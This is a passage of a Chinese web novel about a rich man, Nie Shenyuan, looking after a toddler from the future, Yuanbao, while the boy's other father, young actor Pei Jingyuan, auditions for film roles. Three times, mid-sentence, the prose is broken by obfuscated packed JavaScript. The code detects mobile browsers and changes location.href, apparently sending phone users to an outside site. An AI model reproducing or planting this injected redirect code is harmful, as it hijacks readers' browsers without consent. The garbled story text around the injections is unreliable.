话又说回来，聂先生能主动“关心”一句，证明是重视孩子的。 老沈想起昨天晚餐后，赵阿姨召集大家开了小会，提到往后要把元宝当“小主人”对待，称呼上是“小少爷”。 都也不用想，只能是聂先生的意思。 此刻。 元宝在听见大爸的询问后，勉为其难地转过脸看他：“大爸，没关系哦~你虽然现在笨笨，等你遇到小爸就会变得很厉害~还会炸薯条哦。” 聂慎远从小崽子昨天出现后，已经听太多诸如此类的话，现在自然不当回事。 他语气平静地道：“小孩子不能吃炸薯条。” 他没有养育孩子的经验，但知道什么是非健康饮食。 元宝的脚尖虚空踢了踢，低头咕哝：“小爸要吃的话，大爸就会炸了呀~大爸现在真的很笨！” 聂慎远搭在扶手上的手掌抬起，掐了掐眉心，决定让对话到此为止：“好了，别说话，容易晕车不舒服。” 元宝立刻探身朝向前排，奶呼呼地央求：“伯伯~开慢一点好不好？我大爸会不舒服哦~” 聂慎远幽深的眼眸眯了眯，淡淡地瞥一眼小家伙。 老沈笑呵呵：“好的，小少爷，我慢慢开啊。” 他登时想，家里有个孩子真好，说话都软软乎乎，这么小就知道主动关心大人，实在是招人喜欢。 医院。 聂慎远抱着一个小幼崽出现，所到之处，无人不惊。 这件事再聂家没有对外给出明确消息之前，是不可能有人敢冒着得罪聂慎远的危险传扬出去，但不代表 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15606837|172088||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 大家心里不会掀起惊涛骇浪。 聂家，多年来盘踞一方的世家豪门，如今可都在聂慎远一人手中，将来很大概率是他怀里这懵懂可爱的小崽崽的。 然而，元宝却气鼓鼓的。 大爸不会抱小朋友！ 特别难受。 气到小脑袋转来转去，很想找个东西啃一啃。 元宝深呼吸：没关系的，是自己的大爸，忍一忍。 半分钟后，他终于开口，嘟嘟囔囔地抗议：“元宝是大孩子了，会自己走！” 这可真的是，破天荒的，第一次不想要大爸的抱抱。 聂慎远毫不留情：“你腿短，走得慢。” 元宝：嗷嗷嗷嗷！ 呜呜，大爸凶他，小爸快来。 保镖都看得出来，聂先生跟小少爷好像是有什么“龃龉”，委屈得小少爷鼓起奶膘，哭丧着小脸。 最终，元宝在“无情铁手”的拥抱下，他们抵达会诊厅。 室内，所有人都看小崽崽被放到沙发上后，连滚带爬地飞速窝进了距离聂先生最远的角落。 大家：嗯……至少这位小少爷健康活泼、行动敏捷。 好事好事~ 聂慎远不甚在意这种小细节，坐在沙发上听医生解释今日检查的大概项目。 昨天安排的时候，他已经提过尽量以其他方式来替代有伤害性或者辐射的检查。 院方负责人考虑到小少爷矜贵，今日定的是中西医会诊。 中医望闻问切，绝无任何伤害。 一个和蔼的中年医生问：“小少爷知道自己几岁了吗？” 聂慎远听见这话，深感对方可能将自己的儿子当弱智。 他正要开口时，元宝乖乖道：“医生伯伯，我是四十个月的宝宝哦。” “你还知道说月份？真聪明啊。” 医生都挺惊讶。 “嗯~” 元宝认真地点点头，“小爸说，来医院的话要说月份哦。不然医生伯伯会搞不清楚元宝的年纪。” 医生虽然没搞清楚说的是谁，但非常认同地点点头 ——这话无比正确。 聂慎远看着乖巧软糯的小崽子，第一次意识到： 素未谋面的元宝小爸，是一个极有耐心与爱心的成年人。 等元宝开始接受检查，聂慎远接到助理陈序的电话。 他走到落地窗边，俯视外面的绿色草坪。 “喂？” 陈序：“聂先生，裴先生的相关信息已经发送给您，是通过裴先生所在的演艺公司拿到的最新资料。” “嗯。”聂慎远的确是有些好奇对方。 尤其是在昨晚听说对方是一位演员后，他的确是心情复杂。 因为他父亲的第二任太太就是演艺明星。 他原以为他绝不会走上父亲的老路。 结束通话后。 聂慎远点开微信对话框的链接。 一张证件照跃然于屏幕之上。 五官昳丽，一双微抬的狐狸眼，很有辨识度。 只是显得过分年轻。 照片下方一行小字。 裴景元男 22周岁。 聂慎远皱起浓眉，眼神满是狐疑：怎么是个小孩？ “大爸？” 一道软软的声音传来，伴随着元宝小跑的动静。 聂慎远垂眸，看着扑来抱住自己的幼崽 ——两个小孩？ 5. 第 5 章 元宝检查结束，护士送来零食甜点。 大家都看到，他小幅度地看一眼旁边端坐的爸爸。 现在的聂慎远，自然不存在“父子间不必言说的默契”。 秉承着高效沟通的原则，他直接反问回去：“嗯？” 元宝想起这是个“笨蛋大爸”，顿时大脑边出现三个黑点，只得直接开口问：“大爸，我可以吃这里的小零食吗？” 护士满眼同情：好惨的小少爷，做完漫长的体检吃点小东西都要询问过聂先生。 聂慎远淡扫了一眼护士，语气平静地对孩子说：“自己拿。” 护士：聂先生怎么这么凶？有没有“父德”？ 她将小车推得更近，笑眯眯地任由乖巧可爱的小少爷选。 元宝认真挑选后，双手抓取一个小熊猫蛋糕，仰头央求：“姨姨，帮我打开一下哦。” “好。”护士连忙从小手里接过，心中惊讶：软萌的小少爷和聂先生的长相气质，可以说是毫无关系了。 此时，医生拿着厚厚一沓体检报告走来。 聂慎远看一眼小幼崽，“你坐着吃东西，我跟医生单独聊。” “哦。”元宝已经接过小熊猫，正在认真研究，眼睛都没抬。 医生听见聂先生的话，心下狐疑：这有什么不妥吗？还是聂先生另有安排？ 事关重大，医生深怕出纰漏。 他只能请聂先生进另一个小型会诊室，坐下后，他详细地说明小少爷的身体情况。 说完一个项目，他就悄悄观察一番，生怕聂先生有什么“特殊指示”。 最后，医生总结一句：“小少爷各项指标正常，连牙齿都非常健康，暂时没有任何特别发现。” “嗯。” 聂慎远暂时安下心。 医生见他沉眉不语，幽深的眼眸冷冽。 他心中擂鼓：难道还有问题？聂先生到底要说什么？ 他自然不敢多问，只能合上资料。 为了缓解莫名焦灼的氛围，他伸手去拿保温杯，结果拿了个空气 ——这不是他日常的会诊室。 在医生讪讪收回手时，聂慎远终于开口。 “有没有男性生子的先例？” “嗯？”医生推了推厚厚的眼镜，在聂先生冷淡的眸光中，点了下头，“有。从全世界范围内，甚至不少。” 他察觉到聂先生的眼神似乎变得复杂，试探性地询问，“需要我为您展开解释一下？” 聂慎远搭在扶手上的手指，轻轻地抬了下，示意他继续。 医生大概说明目前已被医学界所研究的一些案例，从“双性怀孕”谈到“男性怀孕”。“……主要都是在胚胎发育过程中基因突变引起。” 可能是少见病例对于科学研究的重要性，医生说着说着，两眼放光，全然忘记是面对聂先生，沉醉在学术研讨的兴奋之中。 结尾处，他甚至激动道：“暂时我们国家还没有纯男性生子案例，如果有的话，那真是非常具有研究价值，必然是国内医学界的重大突破！” 聂慎远的眉心越皱越紧。 脑海中浮现的，是那个漂亮小孩躺在手术台上的画面。 无数医生团团围住他，每个人手中都持着冰冷的手术刀。 聂慎远的眼神略变，显得有些幽幽的冷。 医生立刻住嘴，反应过来这是什么场合：“聂先生，您为什么这么问？” 聂慎远的手指几不可见地叩了下扶手：“随意问问。我儿子没事的话，我先带他回去。” 他站起身，稍整西装。 “好……好的。” 医生深感聂先生好像突然很不愉快，满腹狐疑却不敢多问。 - 回程的车上。 聂慎远看到小幼崽跟金鱼似的，对着空气吐泡泡。 小奶膘鼓起来又瘪下去。 他开口问：“刚才吃东西为什么问我？” “唔？”元宝扭头看向大爸，“大爸说的呀，不可以乱吃陌生人给的东西哦。如果很想吃，就要问大爸小爸。” 昨天要不是遇到警察叔叔和姨姨，他也不会要求喝水的。 聂慎远的确没想到这一茬，“嗯。” 元宝反应过来，压低声音，如说悄悄话一般，奶声奶气地道：“大爸不要担心哦。未来大爸教我的，我会教给现在的大爸哦！” 聂慎远不语。 元宝见状，以为是大爸对自己没信心，举起小拳头呼呼：“很简单的，元宝可以！大爸要相信我呀！” 聂慎远想，这是未来的他教出来的孩子？ 怎么看怎么不可能。 很大概率是“小爸”的功劳。 “对了。” 聂慎远严肃地问，“你知道你小爸的年龄情况吗？” “年龄哦？” 元宝认真思索，掰着小手指，念念有词，“我们一起给小爸过了三个生日的话……” 聂慎远提醒：“最近一次是过的几岁？” 车窗外的蓝天澄澈，白云成团。 元宝仰头看去，脑海里浮现夜空中的烟花与由无人机构成的数字变化，激动地翘起小脚：“二十八岁哦！” 聂慎远看着40个月的小幼崽，将信将疑。 只能大概推算，未来他们应当是在裴景元二十四岁之前开始“恋爱”，否则就生不出这么大的孩子。 “恋爱”这两个字，由聂慎远的意识里蹦出来，显得很违和。 但是面前就坐着个活蹦乱跳的“恋爱结晶”…… 该名“恋爱结晶”此刻正扭动小身体，欢快地发出一些幼稚地嘟嘟囔囔： “小爸快来~” “小爸噜噜~” 聂慎远基本确认，这孩子九成九是遗传了裴景元的性格。 此时，手机震动。 聂慎远点开。 助理：【聂先生，已经了解清楚裴先生这两天的动向。日常是在影视城工作。今天去一个电影剧组试戏，晚上拍戏。】 不知为何，聂慎远想到对方才二十二岁。 之前那份资料显示，他住在公司租的房子，名下无房无车。 聂慎远：【查一下那个剧组。】 放下手机后，他注意到小幼崽的眼睛直直地瞪着自己。 元宝：“找到小爸了对不对？” 聂慎远考虑再三，他需要先见一面对方。 “暂时没有。” 元宝：“……” 他不是都说小爸是在剧组拍戏的演员了吗？ 大爸这都找不到吗？！ 沉默三秒钟后，小家伙继续扭动： “小爸嘟嘟~” “大爸笨笨~” - 试镜酒店外。 裴景元从共享电单车上跳下来，飞速掏出手机，打开软件关闭行驶。 他是提前到，有足够时间准备。 就怕试镜流程延误。 他晚上有一场戏，需要17点到剧组化妆。 裴景元找到跟他联系的选角导演。 今天来试戏的配角演员多，现场有点嘈杂和混乱。 一个走廊两边的不同房间里，有的门还开着，传出里面的一些沟通、试戏的动静。 选角导演递给他一瓶矿泉水，让他先等等：“你这个角色有两个男演员跟你搭戏，还没到，到了一起试。” 裴景元点点头，自动找个位置站了站。 他刚才一进走廊，就不少人盯着他的脸看。 也有人小声问，怎么长这么张脸还自己跑剧组？ 长期混剧组的几个演员认识裴景元，轻声说：“长得太妖了，戏路窄，观众缘也不好。” 男演员，只要稍微周正些，戏路更宽，哪部戏都能塞，左右能捞个配角。 但妖气重，就很挑戏。 还有人聊起“整容”之类的，反正细细碎碎的声音不断。 裴景元正在看自己写的人物小传，准备一会儿的试戏。 半小时后，搭戏的男演员一个都没来。 以裴景元的经验，应该是有人直接定下不需要再试。 按照多年来，他给自己灌下的心灵鸡汤，可绝对不会放弃任何机会。 他主动去找选角导演：“哥，要是没人跟我搭，我也能直接试。” 选角导演看着他，略显为难。 裴景元看出端倪。 他这个小角色，也可能已经定下。 没事没事！ 搞事业怎么可以没有波折？ 平静的大海培养不出优秀的水手嘛！ 裴景元再度出击：“那有别的角色我可以试试吗？” 说完，保持礼貌微笑。 选角导演认识他有阵子，知道他做事认真，不会临时出幺蛾子。 他按住他的肩膀往旁边走，压低声音说：“今天的确有个男演员临时撂摊子，要不你帮哥顶一下？” 裴景元内心高呼：主动出击，绝对没错！ 能不能选上是其次，试个戏去导演面前刷个脸熟，才是关键。 他问：“试戏片段台词多吗？” 选角导演听他的口吻，知道有戏，便推着他往一个房间走。 “没几句台词，放心吧。你帮哥凑上，哥回头再给你个戏试试。” “行！”裴景元爽快答应。 等进试戏房间，一位女演员端坐着，旁边站着的是她经纪人。 经纪人面色不虞，显然是那位临时缺席的男演员耽误了他们。 选角导演笑呵呵地同两人说明情况。 经纪人看一眼裴景元，倒是透露出些许惊讶，只不过还得替自家艺人问一句：“这是哪里临时拉过来凑数的？搭戏演员多重要，你们比我清楚，这怎么让我们家艺人发挥好？” 女演员看了眼非常漂亮的脸蛋，温温柔柔地安抚经纪人：“没事没事，能搭上戏都是缘分。” 她客客气气地对裴景元笑了下，“那你熟悉下这个角色，我们也可以谈谈。” 裴景元这才认出来，居然是挺有名的一位姐姐型小花罗敏伊，目前正处于上升期。 选角导演听见这话，就立刻安排其他人过来说戏，他还得出去忙其他几个房间的事儿。 裴景元听完角色情况，才知道是扮演贵女的“面首”。 的确没几句台词，因为导演指定要录的片段，是他被愤怒的贵女折磨的画面。 说戏的人解释清楚：“听懂了吗？导演明确表示了，男演员要弱而不柔。人物最核心的就是忌惮贵女但敢怒不敢言的表现。” 裴景元迟疑地点点头。“这戏没有激情戏吧？那个我不演吻戏。” 说戏的人看他一眼：“没有，这个角色就两场。” 裴景元了然。 不过，人物小传都没有，他只能临时自己补全角色的前情来合理化“敢怒不敢言”的行为结。 罗敏伊的经纪人瞅他两眼，很不满意，在角落里说：“这不是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15606838|172088||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 耽误事儿吗？早知道还是不带你过来了。” 罗敏伊慢悠悠地说：“你怎么比我还着急？来都来了。” 她看这个演员长得就很贴“面首”这个角色，代入王朝贵女，这其中趣味不就来了？ 裴景元准备结束后，看着罗敏伊，很有礼貌地说：“罗老师，我准备不多，希望你多包涵。” 他已经知道，如果自己演得不好，有可能会影响罗敏伊。 不过这不是他的责任，他只是个凑数的。 对此，他心态平和。 罗敏伊点点头：“开始吧。” 经纪人被请出去，录制试戏正式开启。 - 整场戏结束后。 罗敏伊率先笑呵呵地说：“你演得挺好啊。” “嗯？” 裴景元正低头拍裤子上的灰尘，刚才有一下他坐地上去了。 罗敏伊也没多说别的，只道：“我们加个微信吧。我过阵子有一部戏是在影视城的，到时候可以约你吃饭。” “啊？”裴景元两回都是“语气词”，显得自己特别呆。 他收回惊讶神色，拿出手机加上对方的私人微信。 他笑着说：“罗老师人真好。” 罗敏伊点击添加好友：“我以前也是一个人跑剧组试镜的。” 裴景元并不清楚她的经历，这才想，她为人的确挺接地气。“好的，那这次很高兴和罗老师一起搭戏了。” 罗敏伊点点头，和经纪人离开。 经纪人上车的时候还问：“刚才试戏怎么样？” 他很相信罗敏伊的演技和眼光，毕竟剧组跑得多，对演技的事情比经纪人更清楚。 罗敏伊伸手去拉车窗的遮光板：“我看他被导演看中的概率比我大。” “啊？”经纪人惊讶，动了动心思。 他的确有意向再签一个男演员。 - 当晚。 聂家大宅的客房。 元宝穿着柔软的奶白小睡衣，两只手搭在被子，安静乖巧地在听大爸念睡前故事。 这是他主动提出要求的。 ——作为小幼崽必须要拥有的温馨亲子时光。 聂慎远的嗓音低沉，不带语气念着童话绘本上的文字，仿佛是某种机械音。 元宝瞅着“机器人大爸”，小手指翘翘，无奈中又不得不原谅了。 此时，聂慎远的手机震动。 助理的来电。 聂慎远放下绘本，对小幼崽道：“我接个电话。” 小家伙刚才把睡衣后的大兜帽戴在脑袋上，露出的小脸蛋圆圆鼓鼓。 跟个可爱的小玩偶似的。 聂慎远腾出手，顺势揉了下他的脑袋。 柔软暖热。 元宝任由大爸揉揉，歪头眨眨眼：“大爸，元宝可爱啵？” “嗯。” 聂慎远将帽子往下拉，挡住他的小脸，松开转身去接电话。 元宝开心地拍拍被子。 - 起居室。 聂慎远按了接通。 助理：“聂先生，裴先生试戏的剧组那边给了一些他试戏的资料。可能误会我们是在考察演员。” 他解释道，“也是我不妥，我是通过集团旗下的一家金融投资公司找过去的。” 聂慎远并未指责，只是问：“他……” 下一秒，他改口，“你问清楚，裴先生的需要，适当地提供帮助。” 助理：“剧组那边说，导演挺中意裴先生，已经定角色会立刻签约。暂时应该没有需要。” 聂慎远默然。 过了几秒钟，助理立刻道：“那我从裴先生公司入手，看看他平常有什么需要。” “嗯。” 助理询问：“那电影剧组发给我的资料，包括试镜片段之类的，怎么处理？” 聂慎远眼前浮现白天的照片：“发给我。” 助理：“那我随后发到您的私人邮箱。” 结束通话后。 聂慎远转身走回大床。 元宝已经窝在被子里睡着了，还戴着大兜帽，显得脸蛋特别小，跟个刚出炉的奶香小包子似的。 聂慎远上前掖被角，手指蹭过嫩嫩的小脸，凝神看着他和另一个人的孩子。 他没有立刻离开，调整灯光后，又坐在椅子里，静静地呆了半小时。 等回主卧。 聂慎远洗了澡，裹着睡袍进书房，打开桌上的笔记本电脑。 邮箱里有一份文档资料，一份标注为“裴景元试戏”的视频资料。 聂慎远率先点开了视频并放大至全屏， 画面里出现的是两个身影。 一男一女。 一低位一高位。 一寸照里神色平和开朗的男孩，此刻周身上下散发着惊惧。 那双难得一见的漂亮眼眸里潜藏着不甘，眉心轻蹙，又满是委屈，不得不微微仰视面前高高在上的女人。 明明一句台词都没有，就已经让人感受到他此时处境的不堪。 随着女人伸手掐住他的下巴抬高，说出了带有强烈折辱性的台词。 裴景元的情绪急速变化，从愣怔到激烈，满脸不可置信又难掩屈辱。 他的胸膛一起一伏，微启的薄唇似要抗争又迫于某种原因不得不克制，只剩下急促又压抑的呼吸声。 聂慎远皱眉，按下暂停。 视线聚焦在裴景元微仰的侧脸，良久。 6.第 6 章 次日中午。 裴景元被敲门声吵醒。 昨天剧组的戏份拍到凌晨才结束，累得随便吃两个包子，到家洗完澡倒头就睡。 “砰砰砰” “小元子？” 黄理成拎着一个餐厅打包袋，在又是敲门又是打电话、打微信视频。 终于门被打开。 裴景元困得双眼打架，眯起眼眸看他：“你怎么来了？” 黄理成举高打包袋：“看到没！哥给你带的爱心午餐！” 裴景元浮夸地鞠大躬，拖长调子：“谢——谢——哥——” 他踩着拖鞋进去，歪着倒进沙发里，一条长腿搭在扶手上，困得发蒙。 黄理成合门进来，将外卖袋放在茶几上：“你手机放哪儿了？怎么给你打这么久没接到？” “啊？！” 裴景元骤然惊醒，直挺挺地站起来冲去床边，“没电了。” 他一边翻找充电头一边嘟囔，“完了，万一有人找我呢？！我这……” “是啊。万一昨天试镜的大导演找你。” 黄理成打开饭盒，“你要是因为这个错过一个角色……” “别乌鸦嘴！”裴景元的确看到选角导演的未接来电。 他心中默念“干妈保佑我”，点击回拨。 电话接通。 裴景元解释了下自己的情况。 选角导演道：“没事儿，我也没这么急。导演开口定的你，不用担心。小裴啊，没想到你演这种角色挺顺手的。” “我以前还没演过呢。”裴景元笑了下，“那就麻烦哥了。” 导演：“不麻烦。回头你过来签一下劳务合作协议。对了，我记得你有经纪人？昨天怎么没带你？” 裴景元：“对，我经纪人比较忙。” 导演没多问，反正小演员自己发邮件、跑剧组多了去。 结束通话后，裴景元对正在啃鸭脖的黄理成挑眉：“角色到手了。” 尽管不是他之前准备的那个。 可刷脸成功！ “恭喜！来吃饭吧。” 黄理成让开位置。 裴景元去漱口洗把脸，听黄理成碎碎念。 “你要不跟我一起起直播呗，好歹能搞点人气热度。” 黄理成拍完戏之后会拍短视频、固定直播两小时，“真有人看了我的直播来找我的。” 影视城每天那么多小演员，即便签约，公司也压根不会花时间精力资源。 得演员自己先熬出头，公司才能喂点小资源试试，不行还得继续自己熬。 裴景元坐下拆筷子：“饶了我，我直播说什么？尴尬。” “就说拍戏的好玩事儿啊，什么都可以，总有人听的。而且你长得多好？你都不用调美颜。” 黄理成将啃完的鸭脖丢进垃圾桶，继续拿一个。 裴景元垂眸，长睫轻扇，没接话茬。 他那么想上戏，自然是研究过好多个演员的直播间。 最大的共性是直播要透露个人隐私。 他不希望自己说谎，又不能接受对一个完全看不见的网络粉丝去说自己的私生活，一丁点都不能接受。 甚至于别人问他为什么选择演员这条路。 他都不知如何作答。 裴景元喝两口汤润了润：“我社恐，直播不了一点。” “得了吧！你骗鬼啊？要不你就把你喝的鸡汤，喂一喂粉丝。” 黄理成打趣，“不过粉丝肯定不爱听，你那些都太老了。” 裴景元咽下一口米饭，看向好友，淡笑：“总之，我很确定，我只适合在影视剧里扮演别人。直播，真不合适我。” “行行。”黄理成退而求其次，“那回头我直播的时候，你过来露个脸呢？” 裴景元想都没想就爽快答应。 黄理成叹气 ——是个好兄弟，但是傻。 吃过饭，两人一起前往《红颜祸水》剧组。 化妆间。 裴景元在化妆师的帮助下，处理发套。 执行导演进来，递给他一张新的时间表。 “小裴，你的几场戏，给你调整了时间。” “嗯？”裴景元接过，“我剩下的戏份不多了吧？” 执行导演道：“对，预计是下周杀青。是导演的意思，说是看你晚上拍戏太累了。” “我不累啊。”裴景元甚是惶恐。 他应该从来没有跟人抱怨过拍夜戏？ 执行导演：“那我不清楚，导演是怎么说的。” 他压了压嗓音，“这样挺好，你拍完你的就回去，不用等太久。” 这几天因为两位主角一个忙着参加商务，另一个则得跑另一个剧组，的确经常延误时间。 等人离开，裴景元继续戴头套，看着新鲜出炉的安排，心里想： 老天爷知道他拍戏辛苦，终于来奖励他了？ 正瞎琢磨。 裴景元接到之前参与拍摄的电视剧《逆风而行》的制作人电话。 这部电视剧上个月刚播完，他扮演男主的弟弟； 整个拍摄非常顺利，只是在后期制作时，他的绝大多数正脸戏份被“一剪没”，导致播出时只剩下侧脸和背影。 电话中，制作人表示：“小裴啊，真是抱歉。播出前剪辑掉你那么多戏份。” 裴景元与对方并不熟悉，上次“一剪没”的事情，也是公司去沟通。 “那您这次找我是？” 制作人道：“现在电视剧放完了。我们觉得你那部分戏演得非常好，准备将这部分制作成角色特辑放到平台上。所以跟你说一声。” 听着如此客气的话语，裴景元望向化妆镜中的自己，震惊无比。 这是疑似午餐中毒前的最终幻想时刻？ 制作人：“我们也非常感谢你的参演。上次剪辑掉你那么多戏份，你也没有丝毫的意见。” 裴景元心中默默想： 你们当时给出的解释也符合合同条款，他有意见又能怎么做？ 拿根麻绳吊死在剪辑室门口？ 化妆师见他结束通话后，愣怔地看向镜子。 不论从什么角度看，裴景元头型和脸型都堪称完美，在现实中，比摄影机镜头更有冲击力。 化妆师没有提醒他，而是静静欣赏。 她接触过的演员多如过江之鲫，有信心裴景元会红，只是差点运气。 好一会儿，裴景元抬起胳膊对化妆师说：“姐，你掐我一下试试？” “这是怎么了？”化妆师手里拿着粉刷，敲了下他的胳膊。 “有感觉啊。” 裴景元揉揉被敲的皮肤，满脸迷惑：既然不是梦，那这接二连三的好事，怎么会轮到他？ 化妆师问：“发生什么事情？” 裴景元谨慎地摇了下头。 化妆结束，房间里只剩下他一个人，他才摸出一根小米蕉，嗓音夹杂着些许激动：“呼~吃根胖胖蕉，庆祝下！” - 聂家大宅附近的一家精品水果店。 聂慎远正陪着元宝在选水果。 小崽子一大早起来就喊着“胖胖蕉”，中午都不好好吃饭。 聂慎远这几天没去公司，都在家里办公，吃过饭就带着孩子出来挑水果。 他们的身后是家里的管家赵阿姨、两名保镖和一名私人助理。 赵阿姨虽然在聂家时间久，也的确没见过聂先生出门逛店。 其他几人更是诧异 ——谁也没想过，聂先生竟然是这么宠孩子的家长。 水果超市的陈列考虑过美观度，色彩鲜艳的瓜果整齐地码放在框中，非常吸引三四岁的小朋友。 元宝在大爸臂弯间扭了扭，结果大爸毫无知觉，并没有放他下地。 他只能开口，语调软软地问：“大爸，在家里的时候，你不是说好了让元宝自己选的吗？” 聂慎远的确是打算放他落地。 可进来店里后，他放眼望去，水果柜台架棱角突出，万一小崽子走路不稳摔倒，就有可能碰伤。 他没多解释，只说：“你说你喜欢什么就行。” 一旁的赵阿姨也道：“对，小少爷指着，赵奶奶给你拿。” 元宝一听就不乐意，两只软糯的小手揣起，上半身远离大爸往后仰。 聂慎远搂紧怀里的小崽子：“听话。” 语气很是严肃。 元宝“呼~”的一声，扭头不看大爸。 虽然大爸抱他的动作熟练不少，可是—— 元宝视线一转，顷刻间眉开眼笑，伸手往远处抓抓：“哇！胖~胖~蕉~” 聂慎远抱着他走过去。 柜台上分门别类地码放多个种类的香蕉，形态从长到短，表皮颜色从黄到青。 赵阿姨轻声道：“原来小少爷说的是小米蕉。” 元宝弯腰伸出手，做出要去抱香蕉的可爱动作。 “赵奶奶来拿。” 赵阿姨让跟来的助理帮忙，直接将整个柜的小米蕉都搬空。 聂慎远看元宝的眼睛一直盯着香蕉，指着一个最短最胖的香蕉让赵阿姨摘下来。 元宝接过后，两只小手捧起举高高：“哇哦~~” 聂慎远看小幼崽兴 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“你知不知道你小爸现在才二十二岁。” “唔？” 元宝迷茫，所以呢？ 那不也是元宝的小爸？ 会有什么不同吗？ 聂慎远倒也没有介意他听不懂话，耐着性子解释：“他没有比你大多少，刚成年。” 元宝奶萌的小脸满是迷惑，但看得出来在努力试图理解。 聂慎远：“我担心他知道自己突然有个小孩，会受到惊吓。” “呜呜……元宝不要吓到小爸的啊~” 元宝忽而急切地摆摆手，“不要不要的~” 聂慎远：“他这两天比较忙，等过一天，我去会联系他，当面谈谈。” 话音刚落，一只小手揪住他的西装戗驳领，拽起。 元宝凶巴巴地“威胁”：“大爸不可以吓到小爸哦！不然……不然小爸会怕怕的啊！” 聂慎远垂眸看了下这“有力”的小手，伸手拉开。“小孩子讲话别动手。” 元宝压根没听见，突然想到别的什么，再次拽住领口，拉起！ 他凶巴巴地道：“原来大爸已经找到小爸了！还不告诉元宝！” 聂慎远眼底闪过笑意。 ——四十个月大的小崽子，倒是挺机灵。 元宝气得“啊呜”一大口，咬掉剩下的香蕉，嚼嚼咽下去，才说：“元宝现在就要看到小爸！” 聂慎远提醒他：“你刚才还说不希望你小爸害怕。” “……” 元宝甩头，生气，“不管，我就要！” 聂慎远从他手里抽出香蕉皮，递给前排的助理处理。 “你给我一天时间。” 元宝：“不要！” 聂慎远把他放进安全座椅里：“你不是最信任我？” 元宝扭头：“是最信任原来的大爸哦~~” 聂慎远扣上几处安全带：“好了，这件事你得听我的安排。” 他压低声音道，“别突然出现，让你小爸为难。” 说完，揉乱小幼崽细软的头发。 元宝挥舞小手小脚，气到龇牙。 “明天，太阳公公下山前要是看不到小爸，我就……我就……我就去找警察姨姨~” 聂慎远听着语气稚嫩的“恫吓”，“嗯”了一声。 元宝刚好听见，连忙仰头观察大爸。 ——难道明天真的可以看到小爸了？